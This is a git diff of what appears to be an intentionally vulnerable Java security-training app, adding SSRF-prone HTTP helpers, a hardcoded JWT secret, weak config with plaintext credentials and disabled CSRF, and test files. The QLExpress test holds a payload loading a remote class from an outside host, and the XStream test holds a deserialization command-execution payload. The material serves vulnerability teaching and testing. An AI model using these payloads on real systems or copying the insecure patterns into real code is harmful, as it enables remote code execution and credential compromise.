static String Jsoup(String url) { + try { + Document doc = Jsoup.connect(url) +// .followRedirects(false) + .timeout(3000) + .cookie("name", "joychou") // request cookies + .execute().parse(); + return doc.outerHtml(); + } catch (IOException e) { + return e.getMessage(); + } + } + + + /** + * The default setting of followRedirects is true. The option of followRedirects is true. + * + * UserAgent is okhttp/2.5.0. + */ + public static String okhttp(String url) throws IOException { + OkHttpClient client = new OkHttpClient(); +// client.setFollowRedirects(false); + com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); + return client.newCall(ok_http).execute().body().string(); + } + + + /** + * The default setting of followRedirects is true. + * + * UserAgent is Java/1.8.0_102. + * + * @param url http request url + */ + public static void imageIO(String url) { + try { + URL u = new URL(url); + ImageIO.read(u); // send request + } catch (IOException e) { + logger.error(e.getMessage()); + } + + } + + + /** + * IOUtils which is wrapped by URLConnection can get remote pictures. + * The default setting of redirection is true. + * + * @param url http request url + */ + public static void IOUtils(String url) { + try { + IOUtils.toByteArray(URI.create(url)); + } catch (IOException e) { + logger.error(e.getMessage()); + } + } + + + public static String HttpAsyncClients(String url) { + CloseableHttpAsyncClient httpclient = HttpAsyncClients.createDefault(); + try { + httpclient.start(); + final HttpGet request = new HttpGet(url); + Future future = httpclient.execute(request, null); + HttpResponse response = future.get(6000, TimeUnit.MILLISECONDS); + return EntityUtils.toString(response.getEntity()); + } catch (Exception e) { + return e.getMessage(); + } finally { + try { + httpclient.close(); + } catch (Exception e) { + logger.error(e.getMessage()); + } + } + } +} diff --git a/src/main/java/org/joychou/util/JwtUtils.java b/src/main/java/org/joychou/util/JwtUtils.java new file mode 100644 index 00000000..bb33642e --- /dev/null +++ b/src/main/java/org/joychou/util/JwtUtils.java @@ -0,0 +1,104 @@ +package org.joychou.util; + +import com.auth0.jwt.JWT; +import com.auth0.jwt.JWTVerifier; +import com.auth0.jwt.algorithms.Algorithm; +import com.auth0.jwt.exceptions.JWTVerificationException; +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import io.jsonwebtoken.SignatureAlgorithm; +import lombok.extern.slf4j.Slf4j; + +import java.nio.charset.StandardCharsets; +import java.util.Base64; +import java.util.Date; + +@Slf4j +public class JwtUtils { + + private static final long EXPIRE = 1440 * 60 * 1000; // 1440 Minutes, 1 DAY + private static final String SECRET = "123456"; + private static final String B64_SECRET = Base64.getEncoder().encodeToString(SECRET.getBytes(StandardCharsets.UTF_8)); + + /** + * Generate JWT Token by jjwt (last update time: Jul 05, 2018) + * + * @author JoyChou 2022-09-20 + * @param userId userid + * @return token + */ + public static String generateTokenByJjwt(String userId) { + return Jwts.builder() + .setHeaderParam("typ", "JWT") // header + .setHeaderParam("alg", "HS256") // header + .setIssuedAt(new Date()) // token发布时间 + .setExpiration(new Date(System.currentTimeMillis() + EXPIRE)) // token过期时间 + .claim("userid", userId) + // secret在signWith会base64解码,但网上很多代码示例并没对secret做base64编码,所以在爆破key的时候可以注意下。 + .signWith(SignatureAlgorithm.HS256, B64_SECRET) + .compact(); + } + + public static String getUserIdFromJjwtToken(String token) { + try { + Claims claims = Jwts.parser().setSigningKey(B64_SECRET).parseClaimsJws(token).getBody(); + return (String)claims.get("userid"); + } catch (Exception e) { + return e.toString(); + } + } + + /** + * Generate jwt token by java-jwt. + * + * @author JoyChou 2022-09-20 + * @param nickname nickname + * @return jwt token + */ + public static String generateTokenByJavaJwt(String nickname) { + return JWT.create() + .withClaim("nickname", nickname) + .withExpiresAt(new Date(System.currentTimeMillis() + EXPIRE)) + .withIssuedAt(new Date()) + .sign(Algorithm.HMAC256(SECRET)); + } + + + /** + * Verify JWT Token + * @param token token + * @return Valid token returns true. Invalid token returns false. + */ + public static Boolean verifyTokenByJavaJwt(String token) { + try { + Algorithm algorithm = Algorithm.HMAC256(SECRET); + JWTVerifier verifier = JWT.require(algorithm).build(); + verifier.verify(token); + return true; + } catch (JWTVerificationException exception){ + log.error(exception.toString()); + return false; + } + } + + + public static String getNicknameByJavaJwt(String token) { + // If the signature is not verified, there will be security issues. + if (!verifyTokenByJavaJwt(token)) { + log.error("token is invalid"); + return null; + } + return JWT.decode(token).getClaim("nickname").asString(); + } + + + public static void main(String[] args) { + String jjwtToken = generateTokenByJjwt("10000"); + System.out.println(jjwtToken); + System.out.println(getUserIdFromJjwtToken(jjwtToken)); + + String token = generateTokenByJavaJwt("JoyChou"); + System.out.println(token); + System.out.println(getNicknameByJavaJwt(token)); + } +} diff --git a/src/main/java/org/joychou/util/LoginUtils.java b/src/main/java/org/joychou/util/LoginUtils.java new file mode 100644 index 00000000..93ccbd9f --- /dev/null +++ b/src/main/java/org/joychou/util/LoginUtils.java @@ -0,0 +1,21 @@ +package org.joychou.util; + +import com.alibaba.fastjson.JSON; + +import javax.servlet.http.HttpServletRequest; +import java.security.Principal; +import java.util.HashMap; +import java.util.Map; + +public class LoginUtils { + + // get current login username + public static String getUserInfo2JsonStr(HttpServletRequest request) { + Principal principal = request.getUserPrincipal(); + String username = principal.getName(); + Map m = new HashMap<>(); + m.put("Username", username); + + return JSON.toJSONString(m); + } +} diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java new file mode 100644 index 00000000..0445f310 --- /dev/null +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -0,0 +1,51 @@ +package org.joychou.util; + +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import java.io.*; + +import com.google.common.base.Preconditions; +import org.springframework.web.util.HtmlUtils; + +public class WebUtils { + + // Get request body. + public static String getRequestBody(HttpServletRequest request) throws IOException { + InputStream in = request.getInputStream(); + return convertStreamToString(in); + } + + // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java + public static String convertStreamToString(java.io.InputStream is) { + java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); + return s.hasNext() ? s.next() : ""; + } + + public static String getCookieValueByName(HttpServletRequest request, String cookieName) { + Cookie cookie = org.springframework.web.util.WebUtils.getCookie(request, cookieName); + return cookie == null ? null : cookie.getValue(); + } + + + public static String json2Jsonp(String callback, String jsonStr) { + return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")"; + } + + + public static String getFileExtension(String fullName) { + Preconditions.checkNotNull(fullName); + String fileName = (new File(fullName)).getName(); + int dotIndex = fileName.lastIndexOf('.'); + return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1); + } + + + public static String getNameWithoutExtension(String file) { + Preconditions.checkNotNull(file); + String fileName = (new File(file)).getName(); + int dotIndex = fileName.lastIndexOf('.'); + return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex); + } + + +} diff --git a/src/main/java/org/joychou/utils/Security.java b/src/main/java/org/joychou/utils/Security.java deleted file mode 100644 index f17de34d..00000000 --- a/src/main/java/org/joychou/utils/Security.java +++ /dev/null @@ -1,37 +0,0 @@ -package org.joychou.utils; - -import com.google.common.net.InternetDomainName; -import java.net.URL; - -public class Security { - /** - * @param url - * @return 安全url返回true,危险url返回false - */ - public static Boolean checkSafeUrl(String url, String[] urlwhitelist){ - try{ - URL u = new URL(url); - // 判断是否是http(s)协议 - if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { - System.out.println("The protocol of url is not http or https."); - return false; - } - String host = u.getHost().toLowerCase(); - // 如果非顶级域名后缀会报错 - String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); - - for (String whiteurl: urlwhitelist){ - if (rootDomain.equals(whiteurl)) { - return true; - } - } - - System.out.println("Url is not safe."); - return false; - }catch (Exception e) { - System.out.println(e.toString()); - e.printStackTrace(); - return false; - } - } -} diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties new file mode 100644 index 00000000..326a2b76 --- /dev/null +++ b/src/main/resources/application.properties @@ -0,0 +1,59 @@ + +spring.datasource.url=jdbc:mysql://localhost:3306/java_sec_code?allowPublicKeyRetrieval=true&useSSL=false&serverTimezone=UTC +spring.datasource.username=root +spring.datasource.password=woshishujukumima +spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver +mybatis.mapper-locations=classpath:mapper/*.xml +# mybatis SQL log +logging.level.org.joychou.mapper=debug + +# Spring Boot Actuator Config +management.security.enabled=false + +# logging.config=classpath:logback-online.xml + +# jsonp callback parameter +joychou.business.callback = callback_ + + +### check referer configuration begins ### +joychou.security.referer.enabled = false +joychou.security.referer.host = joychou.org, joychou.com +# Only support ant url style. +joychou.security.referer.uri = /jsonp/** +### check referer configuration ends ### + + +### csrf configuration begins ### +# csrf token check +joychou.security.csrf.enabled = false +# URI without CSRF check (only support ANT url format) +joychou.security.csrf.exclude.url = /xxe/**, /fastjson/**, /xstream/**, /ssrf/**, /deserialize/** +# method for CSRF check +joychou.security.csrf.method = POST +### csrf configuration ends ### + + +### jsonp configuration begins ### +# auto convert json to jsonp +# referer check +joychou.security.jsonp.referer.check.enabled = true +joychou.security.jsonp.callback = callback, _callback +### jsonp configuration ends ### + +# swagger +swagger.enable = true + + +### no need to login page begins ### +joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**, /test/**, /ws/**, /shiro/**, /ssrf/**, /spel/**, /qlexpress/** +### no need to login page ends ### + + + +# http header max size +#server.max-http-header-size=30000 + +# Fake aksk. Simulate actuator info leak. +jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y +jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7 \ No newline at end of file diff --git a/src/main/resources/banner.txt b/src/main/resources/banner.txt new file mode 100644 index 00000000..45e1698c --- /dev/null +++ b/src/main/resources/banner.txt @@ -0,0 +1,6 @@ + ____. _________ _________ .___ + | |____ ___ _______ / _____/ ____ ____ \_ ___ \ ____ __| _/____ + | \__ \\ \/ /\__ \ \_____ \_/ __ \_/ ___\ / \ \/ / _ \ / __ |/ __ \ +/\__| |/ __ \\ / / __ \_ / \ ___/\ \___ \ \___( <_> ) /_/ \ ___/ +\________(____ /\_/ (____ / /_______ /\___ >\___ > \______ /\____/\____ |\___ > + \/ \/ \/ \/ \/ \/ \/ \/ \ No newline at end of file diff --git a/src/main/resources/create_db.sql b/src/main/resources/create_db.sql new file mode 100644 index 00000000..350b24f1 --- /dev/null +++ b/src/main/resources/create_db.sql @@ -0,0 +1,9 @@ +USE `java_sec_code`; +CREATE TABLE IF NOT EXISTS `users`( + `id` INT UNSIGNED AUTO_INCREMENT, + `username` VARCHAR(255) NOT NULL, + `password` VARCHAR(255) NOT NULL, + PRIMARY KEY (`id`) +)ENGINE=InnoDB DEFAULT CHARSET=utf8; +INSERT INTO `users` VALUES (1, 'admin', 'admin123'); +INSERT INTO `users` VALUES (2, 'joychou', 'joychou123'); diff --git a/src/main/resources/logback-online.xml b/src/main/resources/logback-online.xml new file mode 100644 index 00000000..4bda3a99 --- /dev/null +++ b/src/main/resources/logback-online.xml @@ -0,0 +1,12 @@ + + + true + + [%thread] %highlight(%-5level) %cyan(%logger{15}) - %msg %n + + + + + + + \ No newline at end of file diff --git a/src/main/resources/mapper/UserMapper.xml b/src/main/resources/mapper/UserMapper.xml new file mode 100644 index 00000000..e6894071 --- /dev/null +++ b/src/main/resources/mapper/UserMapper.xml @@ -0,0 +1,35 @@ + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/main/resources/static/css/login.css b/src/main/resources/static/css/login.css new file mode 100644 index 00000000..26401f4e --- /dev/null +++ b/src/main/resources/static/css/login.css @@ -0,0 +1,106 @@ +.login-page { + width: 360px; + padding: 8% 0 0; + margin: auto; +} +.form { + position: relative; + z-index: 1; + background: #ffffff; + max-width: 360px; + margin: 0 auto 100px; + padding: 45px; + text-align: center; + box-shadow: 0 0 20px 0 rgba(0, 0, 0, 0.2), 0 5px 5px 0 rgba(0, 0, 0, 0.24); +} +.form input { + outline: 0; + background: #f2f2f2; + width: 100%; + border: 0; + margin: 0 0 15px; + padding: 15px; + box-sizing: border-box; + font-size: 14px; +} +.form button { + text-transform: uppercase; + outline: 0; + background: #4caf50; + width: 100%; + border: 0; + padding: 15px; + color: #ffffff; + font-size: 14px; + -webkit-transition: all 0.3 ease; + transition: all 0.3 ease; + cursor: pointer; +} +.form button:hover, +.form button:active, +.form button:focus { + background: #43a047; +} +.form .message { + margin: 15px 0 0; + color: #b3b3b3; + font-size: 12px; +} +.form .message a { + color: #4caf50; + text-decoration: none; +} +.form .register-form { + display: none; +} +.form p { + text-align: left; + margin: 0; + font-size: 13px; +} +.form p input { + width: auto; + margin-right: 10px; +} +.container { + position: relative; + z-index: 1; + max-width: 300px; + margin: 0 auto; +} +.container:before, +.container:after { + content: ""; + display: block; + clear: both; +} +.container .info { + margin: 50px auto; + text-align: center; +} +.container .info h1 { + margin: 0 0 15px; + padding: 0; + font-size: 36px; + font-weight: 300; + color: #1a1a1a; +} +.container .info span { + color: #4d4d4d; + font-size: 12px; +} +.container .info span a { + color: #000000; + text-decoration: none; +} +.container .info span .fa { + color: #ef3b3a; +} +body { + background: #76b852; /* fallback for old browsers */ + background: -webkit-linear-gradient(right, #76b852, #8dc26f); + background: -moz-linear-gradient(right, #76b852, #8dc26f); + background: -o-linear-gradient(right, #76b852, #8dc26f); + background: linear-gradient(to left, #76b852, #8dc26f); + font-family: Lato,"PingFang SC","Microsoft YaHei",sans-serif; +} diff --git a/src/main/resources/templates/form.html b/src/main/resources/templates/form.html new file mode 100644 index 00000000..2ed5a571 --- /dev/null +++ b/src/main/resources/templates/form.html @@ -0,0 +1,28 @@ + + + + + + + + + + + +
+ + +
+ + + +
+
+ + + + + + + + \ No newline at end of file diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html new file mode 100644 index 00000000..7e7061be --- /dev/null +++ b/src/main/resources/templates/index.html @@ -0,0 +1,34 @@ + + + + + Home Page + + +

Hello .

+

Welcome to login java-sec-code application. Application Infomation

+

+ Swagger   + CmdInject   + JSONP   + Picture Upload   + File Upload   + Cors   + PathTraversal   + SqlInject   + SSRF   + RCE   + ooxml XXE   + xlsx-streamer XXE + actuator env +

+ +

+ JWTCreateToken + GetUserFromJWTToken +

+

...

+logout + + + diff --git a/src/main/resources/templates/login.html b/src/main/resources/templates/login.html new file mode 100644 index 00000000..d5c4ccd5 --- /dev/null +++ b/src/main/resources/templates/login.html @@ -0,0 +1,70 @@ + + + + + Login + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/main/resources/templates/upload.html b/src/main/resources/templates/upload.html index 309faa9c..03ecf15f 100755 --- a/src/main/resources/templates/upload.html +++ b/src/main/resources/templates/upload.html @@ -4,7 +4,7 @@

file upload

-
+

diff --git a/src/main/resources/templates/uploadPic.html b/src/main/resources/templates/uploadPic.html new file mode 100644 index 00000000..66a6f64d --- /dev/null +++ b/src/main/resources/templates/uploadPic.html @@ -0,0 +1,13 @@ + + + + +

file upload only picture

+ +
+

+ +
+ + + diff --git a/src/main/resources/templates/uploadStatus.html b/src/main/resources/templates/uploadStatus.html old mode 100755 new mode 100644 diff --git a/src/main/resources/templates/xxe_upload.html b/src/main/resources/templates/xxe_upload.html new file mode 100644 index 00000000..d58426f0 --- /dev/null +++ b/src/main/resources/templates/xxe_upload.html @@ -0,0 +1,14 @@ + + + + +

xlsx xxe test page

+ +
+

+ + +
+ + + diff --git a/src/main/resources/url/ssrf_safe_domain.xml b/src/main/resources/url/ssrf_safe_domain.xml new file mode 100644 index 00000000..eb5e4c44 --- /dev/null +++ b/src/main/resources/url/ssrf_safe_domain.xml @@ -0,0 +1,22 @@ + + + + + + + img.alicdn.com + + + + 10.0.0.0/8 + 172.16.0.0/12 + 192.168.0.0/16 + 127.0.0.0/8 + 0.0.0.0/32 + + + + joychou-inc.com + + + diff --git a/src/main/resources/url/url_safe_domain.xml b/src/main/resources/url/url_safe_domain.xml new file mode 100644 index 00000000..ee81efcf --- /dev/null +++ b/src/main/resources/url/url_safe_domain.xml @@ -0,0 +1,18 @@ + + + + + + joychou.com + joychou.org + test.joychou.org + localhost + + + + + baidu.com + evil.joychou.org + + + diff --git a/src/main/test/org/test/QLExpressTest.java b/src/main/test/org/test/QLExpressTest.java new file mode 100644 index 00000000..a2071d58 --- /dev/null +++ b/src/main/test/org/test/QLExpressTest.java @@ -0,0 +1,103 @@ +package org.test; + +import com.ql.util.express.DefaultContext; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.IExpressContext; +import com.ql.util.express.config.QLExpressRunStrategy; +import org.junit.Test; + +/** + * QLExpress security test cases. + */ +public class QLExpressTest { + + private static final String poc = "url = 'http://sb.dog:8888/'; classLoader = new java.net.URLClassLoader([new java.net.URL(url)]);classLoader.loadClass('Hello').newInstance();"; + + /** + * basic usage + */ + @Test + public void basicUsage() throws Exception{ + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + context.put("a", 1); + context.put("b", 2); + Object r = runner.execute("a+b", context, null, true, false); + System.out.println(r); // print 3 + } + + /** + * Test case of /qlexpress/vuln1. Use URLClassLoader to load evil class. + */ + @Test + public void vuln1() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + /** + * fix method by using class and method whitelist. + */ + @Test + public void sec01() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + QLExpressRunStrategy.addSecureMethod(String.class, "length"); + IExpressContext context = new DefaultContext<>(); + Object r1 = runner.execute("'abc'.length()", context, null, true, false); + System.out.println(r1); + Object r2 = runner.execute(poc, context, null, true, false); + System.out.println(r2); + } + + /** + *

Fix method by using class and method blacklist. It may exist bypass.

+ * + *

Default blacklist: + *

    + *
  • System.class.getName() + ".exit"
  • + *
  • ProcessBuilder.class.getName() + ".start"
  • + *
  • Method.class.getName() + ".invoke"
  • + *
  • Class.class.getName() + ".forName"
  • + *
  • ClassLoader.class.getName() + ".loadClass"
  • + *
  • ClassLoader.class.getName() + ".findClass"
  • + *
  • ClassLoader.class.getName() + ".defineClass"
  • + *
  • ClassLoader.class.getName() + ".getSystemClassLoader"
  • + *
  • javax.naming.InitialContext.lookup
  • + *
  • com.sun.rowset.JdbcRowSetImpl.setDataSourceName
  • + *
  • com.sun.rowset.JdbcRowSetImpl.setAutoCommit
  • + *
  • QLExpressRunStrategy.class.getName() + ".setForbidInvokeSecurityRiskMethods"
  • + *
  • jdk.jshell.JShell.create
  • + *
  • javax.script.ScriptEngineManager.getEngineByName
  • + *
  • org.springframework.jndi.JndiLocatorDelegate.lookup
  • + *
+ *

+ */ + @Test + public void sec02() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } + + + /** + *

Fix method by using sandbox.

+ */ + @Test + public void sec03() throws Exception { + System.out.println(poc); + ExpressRunner runner = new ExpressRunner(); + QLExpressRunStrategy.setSandBoxMode(true); + IExpressContext context = new DefaultContext<>(); + Object r = runner.execute(poc, context, null, true, false); + System.out.println(r); + } +} diff --git a/src/main/test/org/test/XStreamTest.java b/src/main/test/org/test/XStreamTest.java new file mode 100644 index 00000000..a5375ebf --- /dev/null +++ b/src/main/test/org/test/XStreamTest.java @@ -0,0 +1,70 @@ +package org.test; + +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.io.xml.DomDriver; +import com.thoughtworks.xstream.security.AnyTypePermission; +import org.joychou.dao.User; +import org.junit.Test; + +public class XStreamTest { + + private static final String poc_xml = "\n" + + " foo\n" + + " \n" + + " java.lang.Comparable\n" + + " \n" + + " \n" + + " \n" + + " Open\n" + + " -a\n" + + " Calculator\n" + + " \n" + + " \n" + + " start\n" + + " \n" + + " \n" + + ""; + + + /** + * XStream basic usage. + */ + @Test + public void basicUsage() { + User user = new User(); + user.setId(0); + user.setUsername("admin"); + + XStream xstream = new XStream(new DomDriver()); + String xml = xstream.toXML(user); // Serialize + System.out.println(xml); + + // High version xstream needs set allowTypes + xstream.allowTypes(new Class[]{User.class}); + user = (User) xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername()); + } + + /** + * Command execute + */ + @Test + public void vuln01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration + xstream.fromXML(poc_xml); // Deserialize + } + + + /** + * Security code. XStream version: 1.4.20 + */ + @Test + public void sec01() { + System.out.println(poc_xml); + XStream xstream = new XStream(); + xstream.fromXML(poc_xml); // Deserialize + } + +}